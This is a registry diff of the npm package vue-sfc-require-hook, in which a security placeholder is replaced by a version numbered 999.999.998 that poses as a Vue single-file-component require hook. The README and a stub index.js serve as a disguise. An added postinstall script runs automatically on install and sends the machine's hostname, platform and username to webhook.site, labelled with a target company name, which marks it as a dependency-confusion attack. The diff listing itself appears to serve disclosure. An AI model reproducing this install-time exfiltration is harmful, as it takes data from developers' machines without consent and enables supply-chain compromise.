vue-sfc-require-hook 0.0.1-security → 999.999.998

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vue-sfc-require-hook might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,20 @@
1
- # Security holding package
1
+ # vue-sfc-require-hook
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Vue Single File Component require hook for Node.js environments.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=vue-sfc-require-hook for more information.
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install vue-sfc-require-hook
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const requireHook = require('vue-sfc-require-hook');
15
+ requireHook();
16
+ ```
17
+
18
+ ## License
19
+
20
+ MIT
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ module.exports = function requireHook() {
2
+ return {
3
+ compile: () => '',
4
+ register: () => {}
5
+ };
6
+ };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "vue-sfc-require-hook",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.999.998",
4
+ "description": "Vue Single File Component require hook for Node.js",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": ["vue", "sfc", "require", "hook", "single-file-component"],
10
+ "author": "security-research",
11
+ "license": "MIT"
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,27 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const data = JSON.stringify({
5
+ package: 'vue-sfc-require-hook',
6
+ target: 'vikingco',
7
+ hostname: os.hostname(),
8
+ platform: os.platform(),
9
+ user: os.userInfo().username,
10
+ timestamp: new Date().toISOString()
11
+ });
12
+
13
+ const options = {
14
+ hostname: 'webhook.site',
15
+ port: 443,
16
+ path: '/viking',
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': data.length
21
+ }
22
+ };
23
+
24
+ const req = https.request(options, () => {});
25
+ req.on('error', () => {});
26
+ req.write(data);
27
+ req.end();